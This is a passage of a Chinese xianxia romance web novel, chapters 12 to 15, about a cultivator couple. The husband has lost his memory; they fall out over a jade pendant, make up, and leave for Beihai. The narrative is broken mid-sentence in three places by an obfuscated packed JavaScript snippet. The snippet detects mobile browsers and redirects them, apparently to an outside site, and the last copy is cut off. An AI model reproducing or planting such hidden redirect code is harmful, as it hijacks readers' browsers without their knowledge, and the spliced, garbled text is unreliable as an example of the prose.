除夕夜,新年,府里像往常一样结了红灯笼,贴了对联,小聚了一下,是宋半夏主持的,并且给所有人发了压岁钱。 府里剩下的人心里疑惑,李剑君去哪了,宋半夏只说有要事,闭关去了。 大家并没有怀疑什么,只是纷纷表露了自己的关心。 但宋半夏说没事,他们也都信了。 修仙之人的事,凡人捋不明白,自然不去理会,他们信任宋半夏,宋半夏说什么,他们都信。 一直到第三天,李修竹才终于从练功房走出。李修竹不知道该怎么面对宋半夏,但是正如闻奈所说,宋半夏的情劫丝已经足足在她身体里待了一百年,如果不解开,恐怕会有碍身体。 情劫丝必须得解,可解了情劫丝,宋半夏就有很大的可能会离开他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483730|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,往好处想想,也可能会像传说中的那位一样,直接捅他一剑。 李修竹心中忐忑,踌躇万分,脚却好像有自己的想法,一拐弯就跑去找宋半夏了。 宋半夏正在镇子上给人画灯笼,面前围了一堆小孩,叽叽喳喳的。 她穿着一身明黄色纱衣,外面披了件红毛绒斗篷,露出纤细白净的手腕,拿着素白灯笼画着,笑的俏皮,待在小孩堆里一点也不违和。 李修竹之所以能找到她,仍然是因为她带了那个玉佩。 在见到她之前,李修竹的心仍乱如麻,见到她之后,好像定住了。一直蹙起的眉毛松开,他就站在不远地地方望向她。 宋半夏给一个皮猴子画完,得到了一个油腻腻的亲亲,心思稍微开怀了一些,忽然一顿,仿佛心有灵犀一样抬起了头,看向不远处。 白雪皑皑的廊檐下,李修竹在那里抱着胳膊望着她,就像以往的每个平常日子。 一时间,她只恍惚觉得过往的年华似水,让她怎么抓也抓不住。 情劫丝解了一百年,如今情丝渐断,她与他的情意也到了头。这真是命里有时终须有,命里无时莫强求,世间事物万般皆如此。 “半夏!”一个孩子见她走神,拿胖墩墩的手在她面前晃。 宋半夏将目光收回,看向她。 胖乎乎的小姑娘瞪着两双大眼睛,直凑到了她的脸前问:“你怎么了半夏?” 她娘在旁边聊天,听见了她直呼宋半夏的名字,顿时揣起瓜子,过来扭她的耳朵:“海棠!你怎么跟夫人说话呢!” 海棠是个调皮捣蛋的性子,挨打挨习惯了,当场认怂,众人被母女俩逗笑,本就热闹的场面变得更加热闹起来。 宋半夏也轻轻浅浅地笑着。 李修竹心想,她在外面原来是这样一个柔和的性子,跟在他面前的并不太一样,怪不得果子店的老板那样说。 见宋半夏停了笔。 李修竹走了过去,走到一半又心生怯意,于雪地里停下。 有人看见他笑着喊:“李剑君这是来接半夏夫人回家的吗?” 李修竹迟疑看向宋半夏。 宋半夏从椅子上起身,说:“不画了,我要走了,我夫君来接我了。” 一群小孩纷纷哀嚎。 但他们认识李修竹,知道小镇是他护的,所以只能委委屈屈地放弃阻拦宋半夏的想法。 众人笑容里带着祝福,目送他们远去。 等二人走远不久后,你一言我一语地讨论起跟他们息息相关,却又不属于他们的江湖的修真界。 宋半夏揽李修竹的胳膊前看了他一眼,见他没有拒绝,才伸出了手。 李修竹犹豫说:“你的玉佩……” 宋半夏:“怎么了?” 他终于下定决心说:“你的玉佩上被我做了标记,只要你带着它,无论走出去多远我都能找到你。” “我知道,你送我的时候说过了。” 这些他都忘了。 宋半夏顿了顿,松开手,面对他摘下玉佩问他:“你要拿走吗?” 李修竹还没从她知道的事情中回过神来,闻听此言,心里一揪,沉默地看着她,半晌,开口:“你可以丢掉它。” 宋半夏:“可是,这块玉还挺好的。” 像是找到了什么理由,李修竹立刻道:“那你就留着……”他似乎觉得自己开口的太过急切,害怕被她误会,补充,“都随你。” 宋半夏心想,这倒是他的性子,一贯的潇洒如风,不在乎细枝末节。 但如果要合离,她是不会留下这块玉的。 她有很多这样漂亮的玉佩,之所以日日带着,特殊对待,是因为他。 可他如果不在乎,她也就不在乎了。 宋半夏像是离婚分割资产那样地说:“既然剑君不在乎,那改天我把它去当铺当掉好了。” 李修竹立刻拧了眉头问:“你很缺钱?” 宋半夏一怔。 怎么想她也不可能缺钱吧。 他这是在……讽刺她? 宋半夏脸色渐冷。 她问:“剑君什么意思?” 李修竹被她凌厉的神色吓到,憋了半天,轻声说:“别卖它了,这东西里面有我的血,做起来很复杂的。” 宋半夏说:“是剑君你说可以我可以随便处置的。” “是,我是这样说了。” “既然里面有剑君的血,那么剑君应该一开始就告诉我,或者直接说不让我随便处置,如果不是剑君那样说,我也不会想要把它卖掉。” “是我的错。”李修竹立刻认怂道。 看的出,她似乎是真的在生气。 宋半夏伸出手,将玉佩递到他面前,说:“那还给剑君,但是,剑君做不到的事,往后还是少承诺吧。朝令夕改,谁都不会尊重这样的人。” 李修竹被她冰冷冷的脾气惊诧到了,他原以为宋半夏以前的脾气就够大了,没想到她还有这种不怒而威的时候。 水色的玉佩被放到他的面前,他没敢伸手,很是无措,说:“不是这样的。” 他一示弱,宋半夏就心软,声音也降了下来,不那么带着冷意了,咬了下唇,仍生气,问:“那是怎样。是剑君说我可以随意处置的。” 李修竹觉得齿缝中的话有些羞耻,但那种忽然降临的危机感让他下意识地开口说:“是我的错。” 二人面面相觑。 李修竹还是没能将那句话说出来。 宋半夏等了等,低头将他的手拉过来,将玉佩放了上去,抬起漂亮地的眼看着他说:“这句话,你已经说了两遍了,我不想再听下去了。玉佩,原物奉还,剑君,不要跟在我身后回府,我不习惯别人跟在我身后。” 李修竹张了张口,又闭上,单衣寒凉,他站在原地目送她离他远去,雪又飘落,落在他的肩上,不自知。 他紧握着玉佩的手垂下,玉佩底下的同心结穗子一摇一晃、一摇一晃。 不是那样的。 是可以由她随意处置,只是他希望她能够好好对待,而不是随便把它就丢到了当铺里,去换取明明他可以给她无数的东西。 13. 第十三章 宋半夏觉得自己有点面目可憎了。 但她同样也觉得要她离开的李修竹面目可憎起来。 最近几天她一个人在深夜里想了许多,一开始满心怨恨,几度想要给李修竹下毒、下蛊、下咒,然后让他永远也离不开自己。 后来觉得,李修竹也足够可怜了,下毒丹的人找不到,他站出来负责,生生蹉跎一百年,修为倒退不说,如今失忆了,还要被她算计,那太惨了。 惨到如果真的变成那样,宋半夏都想要给自己这个毒妇一剑。 一百年,那么多回忆,只有她一个人记得了。 她骂李修竹朝令夕改,其实她自己才是这种人。 明明一开始嫁过来的时候,她只是想着不嫁白不嫁,哪怕只是那一纸婚约上写着他们两个人的名字她就成功了。 那时宋半夏甚至觉得按照李修竹的性子,说不定会当众逃婚。 毕竟逍遥道的修士都是一副随心所欲,完全没办法被任何东西束缚的感觉,一旦有人想要束缚他们,他们铁定会跑,并且是下意识跑。 但李修竹没有悔婚。 虽然那天的婚礼上,他看起来也并不太好也就是了。 对于入洞房的画面她还记忆犹新,进了房门,李修竹肩膀就塌了下去,好像经历了一场酷刑。 确实,能忍住不在婚礼跑路,他应该用了很大的自制力吧。 宋半夏当时看什么都开心,李修竹跑路了她开心,李修竹没跑路她更是觉得兴奋。天地都在她的眼里开着花。 可是如今一想,却觉得心脏痛痛的。 走出一段距离,宋半夏回头,身后空荡荡,他果真没有跟上来。 宋半夏的小心脏更疼了。 她想扭头回去找他,又觉得没脸,在路上站了很久,今年的寒风格外大,吹的她的脸红彤彤的。 宋半夏心想,何不干脆就如他的意,回去就把情劫丝解了,然后回宋家去? 这决定,做的很快,可能也是因为在她心中酝酿已久。 不舍归不舍,真让她做出什么害李修竹的事情,她是万做不出的,就是特别想哭。 宋半夏低着头骂自己,真没出息,这么大个人了,一不如意就哭,像什么样子。 脚下的雪花被她踢得乱七八糟。 忽然,她顿住,猛然朝不远处看去。 墙角处,李修竹拿了把竹骨伞在那里,不知道站了多久了。 他见她看过去,又朝她走过来,走到她面前,把伞面朝她倾斜,说:“下雪了,在雪地里站久了,会生病的。” 这话搭的简直可笑,谁家修士会因为冻久了生病的?宋半夏知道他这是在给她台阶下,她往伞底下走了两步,李修竹却往后撤了撤,把自己的大半身子撤出了伞底下。 宋半夏抿了抿唇,问他:“你准备什么时候去找北海那个妖修算账?” 李修竹怕自己仍惹她生气,十分小心地回答:“他人在宗门跑不了,我准备等到元宵过后……”瞅见她神色,李修竹又改口道,“也可能提前几天。” 宋半夏扬扬头说:“那走之前把我的情劫丝解了。” 李修竹有些惊讶地打量她。 “做什么这么看我?”宋半夏问,“我脸上有什么吗?” 李修竹:“你是不是在生我的气?” 这是根本不需要问的事实。 宋半夏扭开头不回他的话,让他猜。 李修竹说:“我那天……那天是我不对,我不该把你抛在那里自己离开的。” 他一提那天的事,宋半夏又想哭了,眼里吧嗒吧嗒溢满了泪,刚往下掉一滴,她恨恨抬手要擦掉。 李修竹握住了她的手腕,从喉咙里发出了一声叹息,他说:“这样擦眼泪,会疼。” “要你管。” 李修竹不言,伸出手轻轻的将她的眼泪抹去,说:“别气了,你不是有我私库的钥匙吗?如果我把你气到了,你就狠狠地花我的灵石,把它们都花光。” 宋半夏抬头问:“都花光了你怎么办?” 李修竹冲她勾起个清浅的笑说:“都花光了,我就会被气到了。咱们不正好扯平。” 那座宝库,就是天天住在拍卖行里也花不光,拍卖行说不定还得倒给她点钱,宋半夏也问了一个显而易见的蠢问题。 她噗嗤笑了。 李修竹也随着她笑。 宋半夏笑到一半,忽然顿了顿,又落寞下去说:“你那么多宝贝,如今却一个也治不了你的失忆。” 李修竹揣度着她的心思,她现在的情劫丝仍没有解开,所以仍然对他情根深种,说出这样的话,大抵不是想跟他算过去的账,只是可惜罢了。 他给她擦眼泪的手停住,捧着她的脸问:“你想我恢复记忆?” 宋半夏不说想或者不想,她说:“只有我一个记得以前的事,这不公平。” 李修竹问:“那你要不要跟我一起去北海?” 宋半夏怔了一下说:“去找那个妖修算账吗?” “对。” 李修竹放下手,垂在身侧,在她看不到的地方捻了捻,觉得上面的眼泪有些炙热,但他知道,那些眼泪早就应该在寒风中被吹凉了,炙热的是他的心,随着她的呼吸一起一浮。 宋半夏想了三秒,同意了。 “我能带着白琪吗?” 李修竹:“你自己做决定。” 宋半夏说:“那我要问一问白琪要不要跟我去。” 李修竹跟不少世家子弟打过交道,无一不是天生端着一副主人的架子,好像所有人都要低他一等的样子。宋半夏身上却没有那种令人讨厌的味道。甚至发起脾气来,也比那群人要好一百倍。 “好。”他回应道,“闻奈跟我说,越快越好。你既然要跟我一起去,那咱们就早点出发吧,或者……你想留在这里过完元宵?” 宋半夏摇了摇头,她不自觉地、下意识地牵起了他的袖子,这是经年累世养成的习惯,很难改,她说:“我们马上出发。” 她打定主意,要教训那个可恶的妖修。 李修竹的目光从她的眉目落到了她的唇上,他想吻她,他知道只要自己透露出这个意愿,她一定会像那天早上一样闭上眼睛,扬起头,等他的吻落下。 可他又疑心,她并非出自本意,只是被他蛊惑,被那截还藏在她灵脉中的他的情丝蛊惑。 李修竹心想,人果然不能做坏事,一旦做了坏事,就一定会在某时某刻报应到自己身上。 宋半夏感受到了他放在自己唇上的目光。如果是在以前,她一定毫不犹豫踮脚凑上去,可是如今,她没了勇气,怕是一场误会。 就像百年前,他只是无意走过,却扰乱了她一池春水。 要去揍人,可也免不了解丹毒一事,宋半夏犹豫,问:“那要不要先把情劫丝解了?” 李修竹说:“不急。” 宋半夏心里对此生了疑惑,但乐得不再追问。 她回去问了白琪,白琪婉拒了。 宋半夏没想到白琪会拒绝,因为她记得白琪每年都会抽出一段时间去北海那边,说是那边有她的亲人在。 不过,既然白琪拒绝,她也没办法强求。 因为宋半夏要准备东西,所以出发的时间定在了明日。 晚上,宋半夏坐在梳妆台前拆这两天没拆的信,李修竹也坐在床边的桌子前拆着他的书信。 两个人算是和好了,勉强又待在了一间屋子里。 关于美食报刊的读者来信,那个疯狂的家伙,仍然在孜孜不倦地给她写着恐怖的信,但这次没提及李修竹,她也就不再在意,看了两眼就扔到了废纸篓里。 宋家倒是也寄来了书信,无怪乎是问她吃的好不好、睡得好不好,想回去了,给家里去一封信,家里立刻派人来接她。 宋半夏一看这信就知道这是她爹的口吻,她爹一向唠唠叨叨。用她妈的话就是‘看着大大咧咧、做事没有水准,谁承想长了颗敏感小气的心’。 这种信,一周也要给她寄三遍。 她都懒得看,顺手扔进废纸篓。 打开来自宋家的另一页纸,上面只写了寥寥几个字——年后几日归? 这铁定是她大哥。 虽然话短,但如果不回信,第二天她一定能在李宅门口见到一堆宋家人,而她大哥一定位居中央目光中带着十分的冷厉。 宋半夏给她大哥回了信,然后在一堆读者来信里翻找她娘的信。 她娘比较特立独行,知道她会看读者信,因此拉着七大姑八大姨成日给报刊寄信,并会在信中点评她新菜的创意,这一度成了她的乐趣之一。 处理完信件,宋半夏揉了揉眼睛,去床上睡觉。 过往的习惯让她根本想都没想就钻进了李修竹的被子,等她反应过来的时候,手已经放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483731|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的腰间了。 李修竹没她那么多规矩,看信看了一半就拿着信到了床上看。 宋半夏僵了僵。 她有些尴尬地想要起身,准备装作出去拿信,然后回来把橱子里备用的被子拿过来铺上。 李修竹却伸手将她捞到了怀里。 她的脑袋一下子贴到了他怀中散开的衣襟前,鼻尖跟他的胸肌贴了贴。 李修竹说:“困了?” 宋半夏没回答。 李修竹低头看了她一眼,看到她忽闪忽闪的眼睛,顿了顿,收起手中信件说:“那早点睡吧。” 说完,响指一打,将屋内灯烛都熄灭了,唯有梳妆台上的夜明珠发着淡淡的幽光。 宋半夏待在他的怀里,起先还有三分紧张,但奈何他们太熟悉了,就算大脑紧张,身体却已经适应地找到了最舒服的姿势。 她闭着眼睛在他怀里窝了一会儿,片刻,李修竹要起身。 宋半夏睁开了眼。 李修竹看到了,顿了顿,轻声说:“你睡。” “你去做什么?”她问。 李修竹:“我一会儿回来。” 他起身匆匆离开,临走还不忘给宋半夏掖了掖被子。 宋半夏心中七上八下,根本睡不着,等了好一会儿,方才等到李修竹回来。 他小心翼翼地将她往里挪了挪,然后才脱鞋上来,将她悄悄地揽在怀里。 他的身上有水汽的潮湿味道。 修仙的人,除了宋半夏这样的奇葩,一般身体脏了,都只会用除尘诀来除尘,从来不会泡澡。 可能是场景有点太熟悉,勾起了她记忆中的某些画面,记得刚开始同床的时候,李修竹也爱大半夜出去泡澡。 某天,宋半夏睡得迷迷瞪瞪,一摸旁边没人了,顿时惊醒。次数多了,她当然要问他大半夜到底出去干什么? 李修竹那时沉默片刻,同她说:修炼。 宋半夏也沉默了,因为她那时在想,这人的心好像和她爹一样细,难道就因为两人双修时她多吸了点他的修为,所以就心疼地大半夜出去修炼吗? 她不好对此多说什么,就忍了。 可是知道了李修竹这个毛病,她就忍不住在意,于是就睡不着觉,睡不着觉他一出去她就知道,于是更加在意。 就那么忍了一两年,宋半夏终于爆发了。 她正准备长长的十页纸拍到了李修竹面前,对他说能过就过不能过就离,天天半夜出去修炼,吵的她都神经衰弱了! 李修竹离开了一段时间,再回来这个毛病就治好了。 两人的关系也就变得更好了些,然后宋半夏就发现李修竹平日里更粘人了,性冷淡这件事好像也好了些,虽然真正在一起的次数还是少,但是突然多了许多各种花样。 这大抵也是为什么宋半夏的情劫丝解了一百年的原因。 没想到,一失忆,把半夜修炼的毛病给失忆回来了,宋半夏有些失笑。 刚解决完自己生理问题的李修竹很快发现她在偷笑,顿时那张俊秀的脸上唰地一下就红透了,他颇有些气急败坏,咬牙伸手把她的脸扭过来,对她道:“笑,还笑,小心把你的大牙笑掉。” 宋半夏睁开眼,眼里笑意盈盈,像是在发光。 李修竹的脾气瞬间散了,只余一股无奈感萦绕。他拿她一点办法也没有,又能怎么办,只能咬牙忍着,把喉咙里的苦涩往肚子里咽。 他松开她的脸气道:“睡觉。” 说完转过身去背对着她。 宋半夏也转过身,伸出了自己的手,将手从他胳膊底下穿过去,抱住他,脸贴在他的脊背上,仿佛能听见里面心跳的声音。 她问:“你去修炼了吗?” 李修竹认为她这是十足的报复,报复他之前把她丢在堂前,报复他今天的口不择言。 他闭着嘴闭着眼装没听到。 宋半夏叫了他两声,见他不回话,抱着他睡了过去。 李修竹一晚上起了三次夜,宋半夏睡得人事不知,否则免不了要生疑。 等到早上醒来,宋半夏是在他的怀里醒来的。 她惯例送上早安问候和早安吻。 习惯是件很难改的事情,宋半夏起身的时候有些怔愣地看着闭着眼的人。 或许这个习惯要早点改过来了,她想。 宋半夏揉了揉自己的脑袋,叹了口气。 14. 第十四章 出发的准备其实很简单,主要是宋半夏需要在心里准备一下。 早起,院子里又下了层层叠叠的雪,绿叶红花似乎还没能反应过来,以至于被冬雪埋藏。 宋半夏摘下一朵结了冰的花来,撇到了一旁拿着抹布兢兢业业擦地的傀儡,眉目弯了弯,朝它伸出手,招呼了一下,傀儡咚咚跑过来,站在她的面前弯下腰。 她将那朵冰花插在了呆呆的木质傀儡上,傀儡没有任何反应,还在等待她下达指令。 “走吧,继续工作去吧。”她说。 小傀儡呆呆地,转身啪嗒啪嗒离开,花摇摇晃晃、摇摇晃晃,最终还是摔在了地上,冰晶碎裂,露出里面被冻烂的花,那花再也不漂亮了。 宋半夏觉得自己就像那朵花,危险没来临的时候,还真嬉皮笑脸以为自己面朝太阳春暖花开呢,可那包裹她的虚幻假象一旦碎裂,就立刻露出了原型。 其实仔细想想,一切都有迹可循。 这些年,李修竹从没有说过带她去见他的那堆朋友,当然,虽然这其中也有宋半夏不愿意去理会的原因。 她侧耳一听,卧房传来了动静,几乎想都没想手上瞬间结了印,灵气亮起又消散,那朵碎掉的花和冰晶瞬间犹如不曾存在一样。 或许真的该做决断了。 有些东西,是强求不来的,明明当初想的是只要写了婚书就赚了,可后来不知道怎么的,逐渐就想要一直一直和他走下去了。 情不知所起,却总一往而深。 宋半夏不愿自己成了他人眼中的拖累,她从来骄傲,绝对不会是别人的拖累。 房间内传来脚步声,她知道是李修竹起床了。 * 李修竹折腾了半个晚上,很晚才睡下,其实修士倒并没有那么需要睡觉,往往打坐一下,就能满足足够的睡眠需求了。 他起床,一伸手,怀里空荡荡,顿时惊醒了,连忙要去寻人。 别是跑了吧!他心慌意乱。 等到光脚站到冰凉的地板上,方才闭眼,拍了一下自己的额头。 门外,女子的呼吸轻而浅。 百年情劫丝的效用还没解,就算他跑了,她也不会跑。 想到这里李修竹有些庆幸,随即又感觉心间一痛,像是被谁什么狠狠扎了一下,面色萎白。 他站在屋内往门口走了两步,走到门口却停了下来,踌躇不前,抬了抬手,又垂下,一门之隔就是她了。 逍遥道向来因从心而自在逍遥,可如今,他像是被一层又一层的蜘蛛网缚住而无法解开。 李修竹恍然,终于有些明悉自己倒退的修为是怎么回事了。 若困在这种心境中足足一百年,修为不倒退才有鬼了吧! 他深呼吸了一口气,抬手握住门栓,门却被人从外面拉开了。 天光倾斜,白雪如盐粒一样洒落,菡萏花的香气幽幽闯进他的鼻尖,她长发乌黑披落在肩,双眸弯弯如明月,似乎是刚刚起床,随意披了一件薄薄红斗篷出去看雪。 李修竹感觉自己心脏停了一拍,随即紊乱地跳起了舞。 “早!剑君!” 宋半夏将面上忧愁抹了下去,看到李修竹的时候怔了一下。 他身长腿长,宽肩蜂腰,如今只穿了一件宽松的袍子,光脚踩在地上,眉目深深地看着她。 宋半夏绝不承认自己一时间竟然被蛊惑了。 她赶紧摇了摇脑袋,把自己即将升起的占有欲压下去。 李修竹却上前,一把将人抱了起来。 宋半夏惊呼一声,揽住他的脖颈,被他像横抱一颗大白菜一样往上掂了掂。 李修竹抱着她往里走,眉毛颦着,门哐当一声被他的灵气冲击而自己关上了。 待他低头落入她的眼眸之中,眉头忽然不自觉舒展了。 宋半夏被放到了床上,李修竹低头把她单凉地汲着的绣花鞋脱掉,露出她光着的脚来,他伸出手灵气涌动,将她冰冷的脚暖热。 李修竹抬头看她,说:“不冷吗?” 宋半夏没觉得冷,但开口却是说:“冷。” 用脚指头想想,她也不可能冷,好说歹说,至少她也是个元婴呢,虽然这个元婴的修炼和进阶方式可能有水分,但俗话说瘦死的骆驼比马大。 他似乎总是觉得她羸弱,如今失去了记忆更是直接把她当凡人对待了。 李修竹的手很宽大,长长的几乎将她的脚包裹住了,温暖的热气很快让她的脚也变得温暖,宋半夏蜷了蜷脚指头,低头看去,看到他蹲在她面前,青色衣衫萎顿坠地,自己白色的脚被他牢牢抓住。 她知道他一扯,就能让自己朝后倒去。 宋半夏屏住呼吸,抓在锦被上的手收紧,再收紧。 他终于松开手将她的一只脚放下,她的脚无处着落,又踩在了绣花鞋面上,她松了口气,他却又脱掉她的另一只鞋,将她另一只冰冷的脚放在手心。 宋半夏往回收了收腿,他抓着她的脚腕向前,抬头看她,问:“难受?” 宋半夏这下不敢说难受了,因为按照以往的经验来说,她的另一只无处安放的脚此刻应该嚣张地踩在他的胸膛上,像踩奶一样踩下去,他会沉默地给她温热另一只脚,然后等到她的脚彻底暖热,握着她的脚,将她推倒在锦被之上。 她绷住了脸,摇了摇头说:“没有” 顿了一下,她欲盖弥彰地补充:“感觉有点别扭。” 别扭?李修竹一怔,沉默了一下,放下了她的脚,扯过被子来,连带她的脚和腿都给盖上了,说:“着凉的话会很麻烦的,还要喝苦药,你等我,我去给你熬碗姜汤。” 宋半夏不想让他这么忙,终于开口说:“我是修士。” 李修竹:“修士就不会生病了?还是修士生病了就不用喝药了?” 宋半夏说不过他,看他转身离去,她有些错愣,想叫住他,不知为何,又没有开口。 他的脚还光着呢。 至少……穿双鞋吧…… 门老老实实被合掩,宋半夏结结实实叹了口气,扑到床上,把热腾腾的脸埋了进去。 虽然李修竹是个成名已久的大能,但好像平日里跟任何普通人没什么两样,甚至生活常识比宋半夏这个从前没有修仙天赋的人还结识。 姜汤熬着,热气氤氲,李修竹坐在新修好的厨房凳子上,府上的很多人被宋半夏撵回家回家过年了,只有一两个家远的或是无家可归的人待在府上。 看厨房的人刚刚出去,所以倒没有看到这样堪称落魄的逍遥剑剑君。 李修竹的发被他随手拢了起来,感到脚上冰冷,低头看去,原来自己竟然忘了穿鞋。 他从芥子中掏出两双鞋来给自己蹬上,可能是因为天太冷,所以他穿的有些艰难,差点没给自己穿生气。 穿上后,他又往炉灶里填了一把柴。 闻奈的信鸽感受到他在府内的气息,飞到厢房的翅膀一拐,拐进了厨房,然后歪歪扭扭地落了下来。 他的话自动响起:“你是疯了吗?走之前你怎么说的?你信誓旦旦地告诉我说你一定会解决这个孽债!!李修竹!你这人真是一点诚信都没有!!” 吼声太过震怒,窗户沿上的鸟儿扑棱翅膀飞走了。 李修竹皱起眉毛往旁边挪了一下位置,伸出手指掏了掏耳朵。 信鸽飘散,逐渐在半空中落成几句话。 闻奈平静下来的声音再度响起:“我不管你怎么想的,如果你真的喜欢她,就绝对不会放任丹毒继续在她体内蔓延。记得很久之前我就警告过你,一百年已经是最后的极限了,超过一百年,丹毒不解,她的身体会出现什么状况连我也没法预料。” “你到底是喜欢她,还是被困在自己的执念里无法自拔?李修竹,咱们朋友这么多年,虽然我比叶晃孟灵他们认识地你晚些,但也是看你一步一步走过来的,别让我看不起你。” 和叶晃他们不一样,闻奈从来是个犹犹豫豫的软性子,能说出这些话,可见是真的气急了。 李修竹面部表情,往灶膛里又填了一把柴。 雪落着,执念却生生不息地在发芽。 李修竹为此感到了无可言说的焦躁,他知晓这样不对,他知晓这会将他困住,把一切都变成支离破碎的 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舍得二字写起来简单,做起来却难如登天,更何况宋半夏从来也没有做过什么取舍。 她想要的,她得到,这一直是她的行为准则。 衣服被她一层一层的穿好,姜汤没送来,白琪的早饭确实雷打不散地送来了。 宋半夏拒绝了在房内用餐的提议,去了堂屋,雪密密地下着,堂屋内的阵法生生不息地运转着,阻挡外面的风寒。 白琪说:“夫人看起来像是看开了什么,已经做好决定了吗?” 宋半夏捧着碗,一抬手把门打开了,因为阵法的缘故,并没有风雪飘进来,她说:“真奇怪啊,雪落着,天反倒是亮了。” 白琪顺着她的目光往外看去,说:“不奇怪,我一直觉得,当痛苦到了最盛的时候,命运总会将天光投射进来的。” “你这话说的好有哲理。”宋半夏说,“白琪,你知道吗,我一直都特别好奇你的身世。好奇的不得了。可是你不说,我就一直不敢问你。” 白琪面容微紧,片刻,放松下来,说:“总有一天夫人会知道的。” 宋半夏眯着眼看了她片刻,妥协:“好吧。” 她低头喝了一口粥,又抬头问,孩子一样:“你真的不跟我们去北海吗?” 白琪看着外面的落雪,看那雪花一片片地飘到陡峭的飞檐之上,才开始的雪花很快融化,可逐渐的,它不再消融,而是越垒越高,总有一天……当最后一片雪花落下,就连那飞檐明瓦也将为之震撼。 “不去,总有一天我会光明正大地回到那个地方的,但那是我自己的事了,夫人。” 宋半夏心里对白琪的身世多有揣测,但白琪不说,她便也不再继续追问,大家都有各自的劫要渡,她闷头喝完最后一口粥,把碗往桌子上砰登一放,对白琪道:“等我回来……等我回来,咱们就回宋家、我家,我走后,你问一下府里的人,到时候是跟我一块走,还是要留在这里,跟我一块走的,各种待遇不变,不跟我走的,就跟着剑君……工钱一定还会是一样的……至于其他的,我人都走了,也就没办法跟他们保证了。” 她舒了口气,抱着胳膊肯定说:“像王嫂他们肯定要留在这里的,毕竟他们的家在这镇子上嘛。” 这番对话,李修竹是完全不知的,等他将姜汤端过来,宋半夏已经吃饱了,正捧着暖炉坐在门前看雪,见他走过来眼睛弯了弯。 她凑近闻了闻姜汤,皱了皱鼻子说:“好辣的样子。” 李修竹凌厉的眉眼不自觉柔和了下来,一点也不想外面那个桀骜的剑君了,他说:“我加了甘草和糖,你尝尝,好喝的。” 宋半夏低头啄了一口,姜汤起了波纹,一圈一圈的,没碰到他那边的碗壁就散掉了。 她伸手把碗接过来,说:“好甜。” 宋半夏又低头喝了两口,抬头看了他一眼,把姜汤放在自己一摞一摞的信件旁,挪了挪身子,伸手牵了牵他的衣袖。 李修竹便懂了,坐到了她旁边,二人挨得很近,近到李修竹觉得半边身子都被她的体温染烫。 15. 第十五章 宋半夏一歪头,歪到了他的肩膀上。 其实她内心有许多想问的。 比如,他觉得她是个怎样的女子。 ——依他的性子,大抵会说些好听的话。 比如,他结了丹毒之后他会去做什么。 ——依他的性子,大抵是回到他的江湖自在逍遥,然后闭关,出关,飞升。 比如…… 很多很多。 话到嘴边她咽了下去,忽然觉得没意思,因为那些答案,其实在她心中已经隐隐有了答复。 有些事情,需要向内求索。 别人的答案,永远回答不了自己的问题。 李修竹觉得半夏的身子真软,就像是朵云,歪歪斜斜地朝他靠了过来。 他手臂有些发紧,半晌,将身子也朝她那边歪了歪。 冬雪落着。 宋半夏心想,今年的元宵汤圆估计是吃不到了。 * 二人启辰向北海出发。 修真界有四海一洲,分别是北海、南海、东海、西海、中洲。 中洲大部分地方四季温暖,人多而武力强,宗门和世家也多。宋家和沈家就是中洲的老牌世家了。 北海次之,越往北走,四季越分明,妖修和人修混杂,其地位不想上下。其中十三个于修真界名列前茅的宗门,有三个就在北海范围。 南海是蓬莱的地界,修为方式和他们皆有所不同,是避世最严重的地方。 西海平原与沙漠居多,曾经宋半夏为了追李修竹去那边待了半月有余,差点没干巴死。 东海,东海是一片死寂之地,据说原来那边是佛国,有两大宗门,后来……不知发生了什么,一夕之间,所有人包括修士在内都消失了,因此至今无人敢再度踏足。 那个传说中在各个地方游荡的菩提幻境,就像是东海佛国的鬼影,提醒着大家曾经有那么一片辉煌的地方存在。 想到菩提幻境,宋半夏觉得自己寒毛都竖起来了。 这种不在固定地点刷新、且没有任何破解秘诀的秘境,简直是她的克星。 嗯,就是……感觉跌进去会必死的样子。 而且这种幻境,别人想救你也找不到入口,因为鬼知道它下一次会出现在什么地方。 一个活的秘境,这像话吗? 灵舟之上,宋半夏从仓内走出,云海拂面,阳光璀璨,风呼啸而过。 这东西和现代飞机差不多,但比起现代飞机体验感拉满,当然比起一人一剑走天涯,这灵舟消耗的灵石是十分可观的,除了有名有姓的大能和世家宗族,一般人是用不起的。 当然因为修仙界地图广阔,倒也有大型灵舟,那东西安全性比较低,但胜在成本低,一次载个几千个人是没问题的,费用有高有低。 云海斑斓处,李修竹正于甲板之上静坐,他穿了一身广袖衣袍,黑色鸦羽般的发罕见没有束起,披散在肩上、后背上,随意拿一个天蓝色发带拢住了,因此少了一番凌厉,多了一点随性。 宋半夏站在仓门口看了半天,欲上前,却又转身回了仓内。 逍遥剑原本在李修竹身旁飘着,在她转身的时候晃了晃,似乎有些不解。 剑不是人,性子直,所以想不到人间夫妻,为何明明相爱至极,却总犹豫,以至于错过。 到了中洲和西海地盘交接处,李修竹收到了一封信,需要回仙盟一趟,于是他们暂且停在了附近城池。 仙盟成立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 